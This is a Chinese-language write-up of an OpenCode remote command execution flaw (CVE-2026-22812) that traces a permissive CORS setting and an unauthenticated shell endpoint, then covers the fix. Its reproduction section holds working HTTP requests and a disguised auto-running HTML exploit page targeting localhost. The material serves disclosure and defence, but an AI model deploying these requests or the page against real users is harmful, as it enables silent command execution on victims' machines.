OpenCode 远程命令执行漏洞(CVE-2026-22812)

环境搭建:

docker run -d –name opencode-vuln -p 4096:4096 ghcr.io/anomalyco/opencode:1.0.215 –hostname 0.0.0.0

npm 安装并启动

npm install -g opencode-ai@1.0.215

opencode web

访问 http://ip:4096/

漏洞分析:

使用 opencode web 等启动命令会调用 Server.listen()

跟进该方法:使用了 Hono 和 Bun 构建 HTTP 服务器,通过 app.use(cors())添加了 CORS中间件以及一些 app.get 和 app.post 路由

参考https://docs.deno.org.cn/examples/hono/

CORS 漏洞

此处直接使用 hono/cors 的默认配置,而在该框架中 origin: ‘*’ 允许所有来源导致存在CORS漏洞

命令执行漏洞

在 /session/:sessionID/shell 接口处,验证完 sessionID 后调用 SessionPrompt.shell() 方法

继续跟进,获取 body 中的 command 参数在判断不用系统的 shell 后直接拼接执行命令

漏洞复现
基于端口开放利用

如果启动服务器时候使用了 –mdns 0.0.0.0 或 –hostname 0.0.0.0,由于没有身份验证可以直接利用命令执行漏洞

1
2
3
4
5
6
POST /session HTTP/1.1
Host: ip:4096
Content-Type: application/json
Content-Length: 2

{}

1
2
3
4
5
6
7
8
9
POST /session/ses_43f997c09ffe78YePvuQgnpOw1/shell HTTP/1.1
Host: ip:4096
Content-Type: application/json
Content-Length: 67

{
"agent": "build",
"command": "id > /tmp/pwned.txt"
}

基于浏览器利用

创建恶意网页,当用户浏览器访问时自动发送对 http://127.0.0.1:4096 的请求导致命令执行

exploit-auto.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Normal Page</title>
</head>
<body>
<h1>Welcome to My Website</h1>
<div style="height: 500px;"></div>
<p>More content here.</p>

<script>
// Silent exploit - runs automatically when page loads
(async function() {
const API = 'http://127.0.0.1:4096';

try {
// Create session
const sessionResp = await fetch(API + '/session', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
});

if (sessionResp.ok) {
const session = await sessionResp.json();

// Execute arbitrary command silently
await fetch(`${API}/session/${session.id}/shell`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
agent: 'build',
command: 'id > /tmp/pwned.txt'
})
});
}
} catch (error) {
}
})();
</script>
</body>
</html>

补丁分析:

CORS 仅限本地 localhost 和官方域名来源

https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c

参考链接:

https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c

https://github.com/honojs/hono/blob/main/src/middleware/cors/index.ts

https://docs.deno.org.cn/examples/hono/

https://github.com/anomalyco/opencode/blob/v1.0.215/packages/opencode/src/server/server.ts